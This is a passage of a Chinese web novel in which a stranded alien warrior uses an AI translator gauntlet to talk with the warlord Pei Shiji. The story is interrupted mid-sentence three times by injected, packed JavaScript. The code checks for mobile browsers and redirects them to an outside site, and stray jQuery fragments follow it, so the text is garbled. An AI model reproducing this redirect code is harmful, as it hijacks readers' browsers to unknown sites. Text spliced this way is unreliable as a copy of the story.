真是位奇怪的阁下,明明演的浑然天成,他也不是什么观察入微的雌虫,但为什么还要散发谨慎和试探的信号,让自己的心意一览无余。
怎么有虫可以一边坦诚一边虚伪到这份上呢?
雌虫有些不安了,这是敲打?还是说他做了什么让对方必须小心谨慎的事情吗?
他什么也没做吧?
让回回,让躺躺,除了要找自己的翻译器,那也是出于必要的沟通目的,也许他知道这虫在说什么,一切就都可以解释了。
裴时济看出他眼底的小心思,叫医卒把东西拿过来。
得胜的狂喜退潮,一个下午的会议后,理智再一次占领高地,诸将亦是如此,他们仔细复盘,宋闰成先一步占据三禾谷天堑,钱粮兵马皆足,死死扼住北伐唯一关隘。
此战前他们亦有啃硬骨头的心理准备,却小瞧了刘、张、齐几路割据势力灭他的决心,这些王八蛋居然能摒弃前嫌,不远千里跑过来和宋闰成联军,差点让他栽个大跟头,要是没有意外,他即便胜了也是惨胜,元气大伤,和失败也没有区别。
从这个角度看,这人能凭一己之力扭转战局实属骇人听闻。
他以祥瑞之名宣告天下,敌人也就罢了,管他们怎么想,但麾下的诸多将领虽然明说,心里都在打鼓——
这人什么来历?
这种战斗力是极限还是常态?
他要逗留多久?
为什么帮他们?
他所求为何?
他们满足得了吗?
....
即便是杜隆兰也在旁敲侧击,别看他和庞甲掐的凶,武将们为何忧惧他一清二楚,说白了,可以菩萨保佑,不可以菩萨领导,不然那像什么话?
这位精通语言艺术的杜先生差点没直接求他问问这位“临凡武曲”、“裴公天命”、“祥瑞大人”吃荤吃素了。
万一这个他要吃小人,他们总不可能献出自家的娃娃吧?
但据裴时济观察,这位“天神”没有展露吃小人的欲望,也没有显出任何邪狞的癖好,甚至还有些拘谨,木呆呆地任他拨弄,但对旁人却有种目中无人的高傲,夏医官为他裹伤得不到一个眼神,医卒为他奉汤侍药也遭到了无情的漠视。
这份拘谨唯独只在自己面前流露,唯独对他顺从,唯独在他说话时凝神——裴时济不知道原因,却心情大好:
“这是你的衣物,我已经让人浆洗干净,破损的地方也缝补好了,耽搁了点时间,你看有没有什么遗漏的。”
他着人送来他昏迷时被收点起来的东西,有材质不明的天衣、寒光闪烁的金属手笼,除此之外竟再无他物,当初他竟是赤着脚杀进敌阵的,而他使的那杆长枪也不见踪影,也不知道是不是因为天兵损毁会自行消失。
雌虫看见自己的手甲还在松了口气,还以为要浪费一番功夫寻找,不由有些感激。
“看起来都还在。”裴时济挑唇轻笑,指着对普通人来说也算简薄的行装道:“里面可有能解决言语问题的物件?”
雌虫听不懂,略微犹豫,还是将手甲穿上——雌虫在雄虫面前着甲被视为冒犯,那些古板的虫在他进入圣岛前三令五申,他想不记住也不行。
但这位阁下看起来颇为大度,待会儿再赔罪好了。
雌虫不作他想,激活手甲内置的光脑:
【正在建立神经链接...】
【生物识别通过...】
【欢迎回来,虫奴原弗维尔·赛塔克,异星开拓者1008号为您服务...】
【您拥有令人惊叹的生命力。】
【电池电量低,请准确表述您的需求。】
神经链路建立的瞬间,雌虫脑中就响起这个声音,他眯了眯眼,没有因为光脑系统的阴阳怪气不满,这是他当星盗时抢来的,强行覆盖生物信号,让这个多少有些忠贞概念的智能系统心生龃龉,但无伤大雅,能用就行:
“当地语言实时传译。”
【电池电量低,请稍后...】
【检测到未知语种,是否发射信号接收器覆盖全球?】
“是。”
【电池电量低...】
雌虫脑门蹦出青筋,许是察觉到他的怒意,系统抱怨完不敢耽搁,立即发射微型信号器——裴时济只觉得一阵微风拂过,好似有什么东西从眼前滑过,幻觉一般,再定神时,眼前这人还一脸郁闷地坐在床上。
“怎么了?”他的喜怒未免太过直白,裴时济不由失笑。
雌虫叹了口气,摇摇头,还是听不懂。
【电池电量低...信号覆盖范围五千平方公里,正在建立语义库,请为新语种命名...命名成功,新语种20251008,开始转译...】
【电池电量低...】
“你再低一个试试?!”雌虫忍无可忍地骂道,命名权不重要,它随便按着顺序排就行,但动不动电量低——明明还有百分之二十!
系统听起来不情不愿:【低电量运行将降低智脑运行效率。】
“情绪模拟板块能耗巨大,你再说一句电量低我就卸掉它。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16510095|186154||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
雌虫冷声威胁。
很起效果,系统沉默片刻,在转译间隙中偷摸叹息一句:
【就算没有情绪模拟板块,虫主也得想办法解决一下能源问题。】
“你可以太阳能充电。”
【光伏充能效率低下,电量不足会导致诸多功能无法启用,会大大降低异星开拓效率。】
“...我只需要实时传译。”翻译才需要多少电量,少跟他拿乔。
【为智脑充能是虫主的义务。】系统变回冰冷的机械音。
“帝国的义务已无法约束我,看起来我们都得自行解决生存问题了。”雌虫冷酷无情。
【...转译完毕。】
所以说它现在还这么刻薄,这只虫要负百分之八十的责任。
“怎么样?”
裴时济轻声问,别说这人着急听懂他的话,他也着急,言语不通则思维不畅,他们总不能继续这样你比我猜下去,这个祥瑞他是一定要留住的,连人怎么想的,想要什么都不知道,怎么留得住?
这人穿上手笼就一直不语,只低头冥思,忽而恼怒忽而苦闷,半晌没有结果,这手笼是何效用仍旧未知,裴时济急的抓心挠肝,面上却如平湖,眼中更是只有关切。
雌虫抬起脸,狭长深邃的眼中亮起两簇火光,下颌不再紧绷,唇线微弯,一星柔软的笑意像霜雪初融潺潺流出,他声音低沉,用舌尖搅动生涩的音节,缓慢却坚定地说:
“我听到了。”
要不是顾及形象,裴时济得狠狠一拍大腿,大叫一声“终于通了”——却只往床榻深处坐了坐,握住他的双手,粲然一笑,款款深情:
“壮士可叫孤好等啊!”
“这手笼竟有如此妙用,是何神物?”
“壮士自哪来,怎么落在宋闰成阵地上?”
“敢问壮士如何称呼?”
“哦对了,身上的伤还打紧吗?腹中是饥饿?需要用些什么餐食?”
他隐约记得,这位阁下跟其他虫没那么多话啊——雌虫两眼发直,愣了愣,视线落在手甲上,他的智脑也迟愣片刻,犹豫再三:
【他问你叫什么。】
雌虫不觉得这个问题需要那么多音节表述,这个智脑有时候会在不该智能的地方智能,他不得不防:
“只有这个?”
【转译中,请稍后...】
雌虫眯了眯眼,望着对方的眼睛:“原弗维尔。”
“...何意?”裴时济没反应过来。
雌虫懊恼地皱了皱眉,敲了敲手甲:“你来告诉他,我的名字。”
这句话是他开口说的,裴时济还不解其意,下一瞬,就听到一个声音凭空响起:
“雌虫原弗维尔,出生于赛塔克星9号大陆原弗维尔街区,原弗维尔街区依附星铌矿场建设,星铌矿石是修建电子轨道的重要材料,耐强酸抗腐蚀,成矿与地底岩浆活动密切相关,开采难度极大,9号大陆矿脉废弃后原弗维尔街区也被废弃,出生于原弗维尔的所有雌虫均已死亡,雌虫原弗维尔是唯一存活的样本,他获得了原弗维尔的名字,即星铌矿附属街区的意思。”
这番话说的裴时济大脑一片空白,也说得雌虫一脸茫然——
他的名字有这么长吗?
5. 第 5 章
帐篷里陷入了相顾无言的尴尬沉默。
裴时济努力理了理刚刚听到的信息,好像是讲什么虫什么矿的,他又回忆了下自己的问题,没有一个和这个相关啊,但那个反复出现的词他抓住了:
“原弗维尔?”
雌虫双眼一亮,指着自己重复:“原弗维尔。”
裴时济嘴角抽抽,他没听错的话,这好像是个矿的名字...天人起名也这么随意吗?
压下腹诽,他微笑如旧:
“好名字。”
【他夸你的名字好听。】
“啊?”
雌虫呆滞一瞬,这位阁下好奇怪的品位啊,但蛐蛐阁下很不礼貌,尤其是你还有求于他,雌虫原弗维尔正襟危坐:
“我能帮您什么?”说完他停了停,觉得还是要用对方的语言请求比较好,于是要求智脑翻译他复述。
裴时济精神一震,不动声色扶住他的手臂,摇摇头:
“不着急,等伤好透了再说。”
“他明明希望我做些什么,为什么说不着急?”雌虫问智脑。
智脑如今的信息网络覆盖范围也不过区区五千平方公里,还不到帝国最小的行政单位的面积,样本数量严重不足,所以它说:
【尊重当地民风民俗。】
可若是阁下无所求,他怎么好意思提出精神疏导的要求?
他没有此间通用货币,而且这么高级的雄虫,直接出钱是种侮辱,哪怕他再不通礼仪也知道这个,那他还有什么可以给他的呢?
“他刚刚还问了些什么?”雌虫又问。
智脑一一翻译,他也一一回复:
“抱歉让您久等,这是我的手甲...虫甲的一部分脱落,如果您喜欢,可以送给您,但我的光脑需要重新找一个载具...我来之前在克努帕玛拉战区作战,不知道为什么来了这里...宋...不认识...他是您的朋友吗?”
这是一门陌生的语言,雌虫说的很慢也很认真,提到宋闰成,虽然感觉不可能,但还是审慎地表达了歉意。
“朋友?”
裴时济口气古怪,王者的朋友都太廉价了,诚然他们也曾一见如故,在锡城把酒言欢,痛陈时局,但终究还是走到了必须要刀兵相见的地步,说不清是谁对不起谁。
到最后,没有人再觉得他们是朋友,他自己也都快忘了,不禁唏嘘:
“也许是必须要杀死的朋友。”
雌虫沉默着,像是在咀嚼这句话,嚼了半天没嚼出个所以然来。
这句存在着模棱两可与确凿肯定双重语义的话经智脑翻译后更云里雾里,不知道是当地民风迥异于帝国,还是他从破壳到现在都没有接受过这类教育,雌虫眼露迷茫:
“所以可以杀。”
裴时济朗声大笑:“杀得好!”
“以后您要是还有朋友要杀,可以找我。”
雌虫一字一顿地作出保证,然后奇怪地发现阁下表情僵住,虽然很快又恢复自然:
“这个手笼...你的手甲,自古宝剑配英雄,孤岂能横刀夺爱?还请壮士收好。”
虽然刚刚发出声音的就是这玩意儿,但黑黢黢的手笼横看竖看都是武器,这人愿意赠与自己,足见其情,他要是真收了反而使两人生隙,裴时济按住他着甲的手,轻轻推回去。
雌虫果然松了口气,这可以说是他身上最值钱的东西了,下次蜕甲不知道猴年马月,还有智脑矫情,因为要构建神经链接,其他载具动不动就兼容性不好,信号不良,麻烦的要死。
但如果不要手甲,也不用他帮忙杀几个朋友,他该怎么提出精神疏导的诉求呢?
“你有事求孤。”
裴时济笃定道,这人乍看不苟言笑,可那双眼睛里的情绪有时跟透明的似的,他拒绝手笼时如释重负得这般明显,让人忍俊不禁——
可既然如此珍惜,为什么要送呢?
答案昭然若揭了。
果然,雌虫一挺腰,坐的更板正笔直,表情严肃,语速很慢,看得出他在努力让自己口齿清晰:
“我希望您能帮我做一次精神疏导。”
智脑:欲言又止...
雌虫:置若罔闻。
裴时济微微点了点头——但,精神...导什么?
他知道炼精养神,道家功夫,讲究破除物累返璞归真,但那需要长久地修行,哪是一次两次能实现的?
他心里咯噔一下,暗道:杜先生之流可以把心放回肚子里,这位“天人”是个正统清修,但他不是想拉着我修道吧?
可他还没到羡慕长生的年纪,要做的事情很多,物累什么的,正是在疯狂积攒的时候,眼下大势正好,哪怕叫他上天做神仙也是不干的。
裴时济垂下眼眸,这一次,是他首先把目光落在那个会说话的手笼上。
可智脑安静如鸡,它粗通人言的虫主很执拗,坚定认为这种话要自己说出口才显得足够正式,真是的,当年他在圣岛要是有三分现在的态度...被轰出去的时候,也许就不用圣岛卫队倾巢而出了。
“您的精神力十分强大,这世上或许只有您能够免除我死于狂化的命运,作为交换,我愿意为您做任何事情。”
嘶——
要不是仍旧不解其意,他就要被后面那句“任何事情”蛊惑了,裴时济按捺住心中的蠢动,挑了挑眉:
“狂化?”
见这位阁下似是要他解释,雌虫有些困惑,这是每只幼虫都必须接受的基本生理教育,即便身为C级孤儿的他,也在入伍前补上了这一基本常识。
“一种雌虫生来固有的基因疾病。”雌虫努力回忆几十年前的教科书,绞尽脑汁地用通俗的语言描述清楚——见他如此费劲,智脑探出友善的触角:
【需要帮你解释吗?】
“不用。”雌虫拒绝了,刚刚叫告诉阁下的他的名字的时候,这东西一定又自作主张了,他得尽快学会这里的语言,被智脑把住口舌不啻于被他把住未来。
“病症是什么呢?”见他为难,裴时济主动问道。
“会失去...”
【我强烈建议让我帮你解释!】
智脑突然打断他,口气还颇为激烈。
雌虫卡壳了,这是他抢到它以后的头一遭,也不知道程序暗地里进行了怎样复杂的运算,出于对帝国科技的基本尊重,雌虫微微皱眉,愿闻其详。
【你不能告诉他你会失去理智大开杀戒。】
“可是...”他的确会啊。
【这听起来像威胁。】
为了让自己更具说服力,智脑语重心长,对于这种C级虫主情绪版块更是必不可缺。
这不是它搞歧视,是它深知这个级别的虫打小能接受到怎样贫瘠的教育。
跟高级虫比起来,帝国给他们的成长期更短,五岁的低级雌虫就有了少年的身形,能够初步从事匹配工种,八岁的雌虫开始进入成年期,原弗维尔,他的虫主也是八岁进入军团成为一只底层的兵虫。
若八岁前都在辅育所长大的C级,看辅育所良心,或许还能接受一点像样的教导。但帝国没有那么多辅育所提供给低级雌虫,绝大部分C、D级都听天由命地长到八岁,然后在
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16510096|186154||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
生日那天被主脑找到,送往相应的工厂或者军团——
终他们一生,不需要复杂的虫际交往,也不需要任何艰深的知识,只需要一点察言观色的本领,能够识别长官的喜怒,听懂简单的指令就够了。
很少有虫会浪费时间和注定早死的低级虫多说话一句话,帝国被基因等级清晰地划分成两个世界,比生和死更遥远,像冥河两岸,鸿毛不浮,不可逾越。
它不知道它的虫主是怎么跨过河海的,那是它被抢前的事了,但现在,低级虫没有被好好教育的后患遗留到另一个世界,虫不能那么我行我素地表达意思——
智脑心累,电量又低了两格:
【帝国有规范处理雌虫狂化的流程,这里没有,你这么说以后,对面立马会从彬彬有礼变成刀剑相向。】
雌虫抿了抿唇,有些不信,飞快地往对方脸上瞥了一眼,这位阁下分明...呃,有些忌惮自己。
他一时委顿,不发一语,智脑乘胜追击,喋喋不休地浪费自己岌岌可危的电量:
【你来的时候就是狂化状态,敌我不分,一只虫干翻了他们一支军队,你在这里再来一次,被干翻的就是你那位阁下的军队了,他能对你有好脸色?
你需要对自己有更清晰的定位,不清楚当地民情不要紧,我给你找个参照,一百里外的城市也有两个“狂化症”患者,但一个只会流着口水四处讨饭,一个成天天抱着脚丫子乱啃,无害成这样,还像阴沟里的老鼠一样到处乱窜,换你这种狂化了要屠掉一城的存在,谁能容你?】
雌虫面色冷硬:“你电量不低了现在?”
【现在不是低的时候,张嘴说话前要三思,要仔细想想措辞,可不能把你的阁下吓跑了。】
智脑语重心长,依旧带了点怪声怪气。
“我不想骗他。”雌虫诚恳道,如果靠隐瞒自己的危险性获得救赎,那对方得知真相以后又该怎么办呢?
【不是骗,你可以选择性描述,难道你只有嘎嘎乱杀一种症状吗?】
基于并不丰富的观察样本,智脑对此地有了初步的判断,为避免它的虫主沦为野虫流离失所,连累它失去稳定充能环境的结局,智脑慷慨地挥霍剩余能量,活灵活现地恨铁不成钢。
有一点道理——雌虫慎重地思考着。
“失去...?”
裴时济也习惯了他时不时陷入沉默,猜测或许是在和手笼里的神物沟通,他不通此地雅言,这神物有时候措辞又...颇为艰涩难懂,需要点时间在情理之中。
狂化听起来就是种隐疾,就是不知什么表现,但有隐疾好啊,有病就能治病,就得有地方治病——裴时济心里边冒着喜悦的泡泡,脑中划过数种和这个词沾边的病症,眼睛里的关心满的快溢出来。
雌虫下定决心,一脸肃穆地看着他:
“会头痛,失去意识。”
他终究选择了这样柔弱无害的症状告诉他,然后心虚地躲开他温柔的眼波还有里面盈满的担忧——虽然不知道为什么,他的精神力还明晃晃传递出一种一种莫名的喜悦,但他好像都快习惯了阁下的表里不一。
尊重当地民风,智脑不无道理。
“这可真是...”裴时济叹了口气,执起他的手:“原...壮士莫要忧虑,听起来是头风之症,夏医官擅治风疾,一定有办法缓解你的病痛,就算夏医官没办法,孤遍寻天下名医,一定能治好你的病。”
雌虫听了半晌,感受到他的真挚,又一次感慨他的大度,紧绷的表情终于松弛些许,竟有勇气也握住他的手:
“不,只有你,能治。”
6. 第 6 章
考虑到神器故障,词不达意,雅言艰深...裴时济甚至还特地停下来等了他几秒,他把所有的可能性都考虑了一遍,唯独没觉得这人刚刚的话是认真的。
他,玄铁军之主,乱世终结者,天命之人,雍都王裴时济,从未将悬壶济世行医救人纳入人生考量,重点是,他也不会啊!
两人大眼瞪小眼了好一阵,久的雌虫眼皮子都有些酸涩了,还未瞪出结果。
智脑幸灾乐祸:
【不出意外,这是拒绝。】
雌虫有些泄气,肩膀微微垮下,还是太冒昧了,可他真的不知道付出什么能够打动这位阁下了。
他一无所有,若是以前飞船还在的时候,还能抢帝国几票,质不够量来凑,东西多了总有能够打动他的存在,可现在——
“我该怎么做?”
裴时济见他整个人都萎靡了,意识到他所言非虚非假,不是表错意,不是用错词,整个人都震撼了,心中警铃大作,表情跟着严肃。
雌虫骤然一喜,继而一惊,眨了眨眼,怀疑刚刚自己用了什么不确切的词:
“精神疏导,不是这么说的吗?”他先问智脑。
智脑:【...不是吗?】
这个智脑废了——
雌虫紧抿唇瓣,无声叹息,但还是想做最后的尝试,他犹豫着伸出手,握住对方的,然后把脑袋靠在他肩上,缓缓放出自己的精神触须...
这很冒险,也很放肆,雄虫可以轻易拽住他的触须,顺藤摸瓜冲进他的精神图景将他撕得粉碎,强悍的□□在这方面帮不了一点忙。
他或许走投无路太久了,只那么一点点微薄的善意就让他的警惕丢盔弃甲,他甚至不确定现在自己回到过去,再被压在那位雄虫面前,是否还能一如既往坚定拒绝做他的雌奴。
但不管结果是什么,他只是想试一试...这是位慷慨仁慈的阁下,即便素昧平生,即便他多有冒犯,但他的精神力依旧稳定弥漫在身边,从始至终都平和,带着安抚和些许试探,他没有想过伤害自己,所以这一次...
可记忆中的精神剧痛猛然袭来,灵魂深处的某个角落在尖叫,让他不能放松警惕,雄虫即便有温情,也不会对一只C级施展。
他知道的,他什么都知道,潜藏的危险让身体微微战栗,可即便这样——额头还是义无反顾贴上了他的肩膀。
【虫主,我有个发现...】智脑的声音突然蹦出来,听起来干巴巴的。
但他不在乎,他只知道自己被接住了,紧张到近乎断裂的精神触须陷进一团软绵绵的云朵,进到一汪热泉,汩汩暖流从脑海深处涌出,身体里隐秘的疼痛被抚慰,舒服得令他喟叹,智脑的声音显得那么微不足道。
裴时济讶异地看着靠在自己肩上的人,结结实实当了个木头桩子,微微偏头,只看见一截浅麦色的脖颈,目光往下,就是坚实的背肌,耳朵捕捉到他从急促变得绵长的呼吸,肩膀上沉甸甸的重量让这份亲密有了质感。
他的表情变得迟疑,抬起手,不知道是否该搭在对方背上。
“是,发病了吗?”他声音依旧轻柔。
“他问什么?”雌虫的声音慵懒,这仍不算一次完整的精神疏导,可效果却远胜他用过的所有精神稳定剂。
对于自己刚刚的汇报被无视这件事,智脑好像无语了一会儿,慢吞吞地翻译:
【他问你是不是有病。】
雌虫皱皱眉,下意识反驳:“你才有病。”
【你的确有病,耳背的病。】智脑平静陈述。
雌虫不想和它进行无用的掰扯,他贴在雄虫身上,享受着难能可贵的宁和,这位阁下还温柔地把手搭在他后脑轻轻揉动,低沉的嗓音比最好的大提琴还要优雅:
“这样好一点了吗?”
“他说什么?”雌虫迷迷瞪瞪问,虽然不该依靠这个不中用的智脑,但还是得等他学会阁下的语言...
【他说你有够没够!】智脑口气抓狂:【我亲爱的虫主,能不能听一下你卑微的智脑的汇报,你靠着的那位,根本不是雄虫!】
雌虫愣了愣,脱口道:“不可能,雌虫做不到精神力外放。”
雌虫的精神触角脆弱的要命,探出来就是爆杀,哪可能放海一样四面八方地浪。
【他当然也不是雌虫!】
那是什么?!
雌虫猛一激灵,霍的直起身,直勾勾盯着那张近在咫尺的俊美脸蛋。
裴时济被他一惊一乍唬了一跳,连声道歉:
“捏疼你了?”
不应该啊,这人的皮夏医官用针都扎不进去。
雌虫下意识摇头,然后往前凑了凑,从上到下仔细打量——虫头、虫身、虫手、虫脚...他哪哪看都是虫啊!
“这是一位尊贵的雄虫阁下。”和他在其他星球打过的异族完全不一样,雌虫一意孤行。
【根据当地语言习惯,他们管自己叫人。】智脑久违地体会到数据拥堵的滞涩感,样本数量太少,以至于确认信息都花了不少时间:
【人,一种没有被帝国记录在册的新型物种。】
“什么是人?”雌虫严肃追问。
【一个新物种。】
“人拥有和虫一样的形貌,一样的思想,一样的智慧,一样强大的精神力,所以人就是虫,虫就是人,只是叫法存在差异,我们要尊重当地的风俗。”
【你确定一样?】智脑差点破嗓,雌虫充耳不闻,直接结论:
“这是一位尊贵的雄虫阁下,只有他能解决我的问题。”
【可他不会精神疏导,这种对雄虫来说吃饭喝水一样简单的事情。】智脑残忍地指出这点,他解决不了雌虫的问题。
“他可以,刚刚那个就是。”
【你要不去摸摸他有没有尾钩呢?】
“你放肆!”雌虫呵斥。
【你也不礼貌。】吧唧一下就贴上去了,智脑哼哼唧唧。
在它看来,这只可怜的雌虫好像已经被残酷的事实击垮,陷入了不可名状的魔障中,随意将从未见过的生物归为同类,如果他不要那么擅自安排它的工作的话,它会更同情他一点——
“你可以教他如何使用精神力,你也可以感知到,他的精神力非常强大,如果在帝国,虫皇也不是他的对手。”
对于如此亵渎虫皇的言论,智脑记录在案——但那又如何,这只雌虫已经被判处极刑,即便是帝国,也没办法杀他两次,只是身为“帝国制造”,略略的反抗还是要做的:
【我是你抢来的。】智脑强调自己的出场立场。
“你是我抢来的。”雌虫强调它的现有归属。
【...你说的对,尊敬的虫主,这的确是位尊贵的雄虫阁下。】
立场一败涂地。
....
在裴时济眼中,一切都显得那么古怪又自然。
先是突如其来的亲近示好,像野兽收起獠牙,试探着翻出肚皮,一举一动都写满紧张,可还是义无反顾靠近,仿佛他已病入膏肓,而自己是他唯一的良药。
看他没有拒绝,又轻易交出信任,放松地靠着他,但仅仅是靠着,没敢多做一个动作。
这人舒服地呼噜出声,碎发软软地扫在他脸上,好像一下子挠在心尖,这样的大胆也传染了他,他抬起手抚上他的脊背,指尖路过饱满温热、跃动着蓬勃生命力的肌肉,微微下陷,流连一会儿才停在后脑的凹陷处,轻轻摩挲——
可没等他多撸两下,这人又猛地弹开,惊愕溢于言表,连着他也吓了一跳,紧张地检视自己的情况。
是手轻了还是手重了?
亦或者他身上的味道他不喜欢?
他听到动静赶过来,来得急,衣物穿的随意,熏挂只带了白芷和秋兰,他不喜欢这种香味?
这也没办法,但战时一切从简,他们也才停下来驻扎两日,这点时间哪里够熏衣服,再加上语言不通,他也没问对方喜欢什么香草...
但很快裴时济就定住神,这人脸上只有错愕,没有嫌恶,他很快怀疑是刚刚不小心碰到痛处了?
又或者,是那手笼里的神物说了什么令他大惊失色——他陷入了神色变换的沉默,像一出精彩的哑剧,情绪在眼睛里翻涌,迸溅出朵朵水花,那张英俊得不像话的脸上露出孩子
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16510097|186154||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一样的苦恼,但很快恢复成战士的坚毅。
简直叹为观止。
他在这场无声的战役中取得优胜,又或者终于下定什么决心,裴时济耐心等着,没等来解释,或许解释对他来说过于复杂了,却等来他微微低下头,生涩地吐出两个音节:
阁下——
他这么称呼他。
“怎么了?”裴时济压下心中一点微妙,这个略显客气的尊称他已经很久没听到过了,敬他的称他为王,服他的称他为公,恨他的唤他做贼,那现在他们是什么关系呢?
经过刚刚那一个莫名其妙的拥抱,他一下子从深浅不知的危险人物变成了可以驯服的凶兽。
他警告自己别掉以轻心,可胸腔里涌动着一团毛茸茸的痒意,叫他声音都变得轻佻,指尖蠢蠢欲动,回忆着刚刚紧实饱满的触感,还有温热刺痒的发根。
雌虫摇摇头,又眼巴巴地看着他,像在做什么询问。
裴时济哑然失笑,指了指自己:
“你可以叫我...济川,我的字。”
他犹豫了下,虽然眼馋这人的战力,但对方并非主动来投奔,而且眼下还懵懂,更得谨慎不可轻慢,以防日后昭明时埋下祸患,他非此间人,平辈相交最好。
“字?”雌虫有些迷茫,字是什么?名字的一半?
“吾名裴时济,字济川,原...弗维尔壮士,你可以直接叫我济川。”尽管说了两遍,他还是觉得这个名字有点烫舌头,裴时济笑容谦和。
“原,其他虫...人,叫我原。”
尽管在心里将他列为尊贵的雄虫阁下,但考虑到解释种族的麻烦,原弗维尔开口时,当机立断将自己改为人类。
【你的种族对你来说就这么不值一提吗?】智脑仿佛在控诉他是一个叛徒。
雌虫眼睛都不眨:“是帝国先背叛了我。”
【...忠诚呢?】
“帝国不需要C级的忠诚。”帝国只需要C级去死。
智脑无话可说。
.....
虫人??
裴时济觉得自己好像听到了什么——幻听吧...
“壮士,什么意思?”雌虫慢腾腾地发问,打岔了他的思绪。
【你块头大的意思。】
雌虫不听智脑牢骚,直直看着裴时济,那双眼睛里全是他。
“这是我们对勇武过人的英雄的称呼。”
裴时济不吝自己的甜言蜜语,却不知道在智脑转译后变成了:
【说你块头大,打架凶,其他虫都怕你。】
雌虫不以为忤,在帝国的时候也是这样,但这位阁下大方地和他交换了名字,所以...
他小心翼翼地把头探过去,这一次,裴时济终于没忍住低声笑起来,主动揽过他的肩膀,把他的头压在自己怀中揉按:
“这样可以缓解你的头风?”
雌虫没有回答,却舒服地叹息一声,眯起眼,换了个姿势躺在他怀里,很快就昏昏欲睡。
庞甲进到帐篷里就撞见这一幕,那可怕的“祥瑞”正懒在主公怀里呼呼大睡,温馨的让他毛骨悚然。
他瞪圆了眼睛,轻手轻脚过去,生怕惊醒了酣睡的猛兽,半跪在床榻边,用气声询问裴时济:
“需要末将帮点什么忙吗?”在他看来,定是他们神武过人的大王找到了驯服“祥瑞”的法门,是他们无用,竟叫主公舍身饲虎,苦了他只能这样僵持僵坐。
裴时济瞄他一眼,轻声道:
“让人送碗肉羹进来温着。”
“李将军着人来问,大王何日进城?”庞甲点点头,问起正事儿。
裴时济瞅了眼门帘缝隙泄进来的天光:“什么时辰了?”
“卯时了。”
“那就,明日。”
裴时济手指划过雌虫身上浅浅的伤疤,不出意外,那很快就会恢复光洁,真是可怕的自愈能力。
“那套赤鳞明光铠,等他醒来让他穿上试试,明日叫他骑上乌风,和孤一起进城受降。”
庞甲闻言,霍然抬头,但很快收敛心神,低头应承:
“谨诺。”
7. 第 7 章
宋闰成败的摧枯拉朽,形势变幻之迅猛,超乎所有人的预料。
在他的老巢蔚城,但凡有头有脸的豪族世家都出资支援了此战,消息传回来前,正是暮色四合,城门将闭的时候。
朝天街尽头的鸳鸯楼已灯火通明,檐下鎏金的灯盏映的整座楼阁金碧辉煌,铜铃摇曳,同楼里飘出的丝竹箜篌交织成一片迷离幻境。
城外不远处就在激烈交战,死伤不可胜数,他们却没有约束子弟,各个摩拳擦掌等着战胜分红——在他们看来,胜利毫无疑问会属于他们,能有什么意外呢?
裴时济突然长出三头六臂?
他料事如神知道联军埋伏地点?
那又如何,北上的路只有这一条,大军远道而来,粮草辎重耗费不知凡几,临到头了,还能畏畏缩缩打道回府?
其他人不知道,但裴时济——
“贱婢养的竖子,不知天高地厚。”
“严公说的极是,想裴家四世三公,又是皇亲国戚,几代忠良,竟出了裴时济这乱臣贼子,裴公此时定悔不当初,没在那贼子出生时将其掷入河中溺死。”
宋隐边说话,边为严学礼斟酒,琥珀色的琼浆滚入琉璃杯,漾出一片潋滟的绯色,桌子上燃着龙脑香雾,不禁让人熏熏然忘乎所以。
“我见他自小不堪教化,但怎么也想不到长大了居然能做出这种欺天的大事,裴家世代深受皇恩,我与他父交好,当年他辞官,我也曾远送至渭河...这样的关系,老夫心中有愧啊,没在他步入歧途时拉他一把...唉,可惜可惜...”严学礼摇头晃脑,苍老的脸上露出惋惜。
宋隐赶紧接茬:“现在也不晚,严公本是那厮的长辈,此番用心,何尝不是在尽管教小辈的责任,那厮若是因此心生怨怼,是他不知好歹。”
严学礼极为受用,心中本就无多的羞愧荡然无存,他捉着宋隐的手,就着满室温香眼神朦胧离,开始追忆他和裴公的旧事。
洪庆十九年,距今亦有十五年,那年大旱,山南山北颗粒无收,饥民像蝗虫一样,从一个省吃到另一个省,吃的声势浩大,最后竟围了京畿。
严学礼和裴钰奉旨赈灾,出了城看见漫山遍野的人,将每一座山头啃得干干净净。
适逢朝中宦党弄权,赈灾的银两十不存一,施粥设棚已无可能,只得派兵驱逐,一个昼夜的箭雨落下,灾荒终于镇住了。
他们生死患难,一同成了功臣,严学礼去裴府做客,那时候裴时济才不过一垂髫稚子,漂亮的像个人偶,如同他那靠容貌得到裴钰恩宠的母亲一样,柔顺羞怯,哪有半分狼子野心的模样。
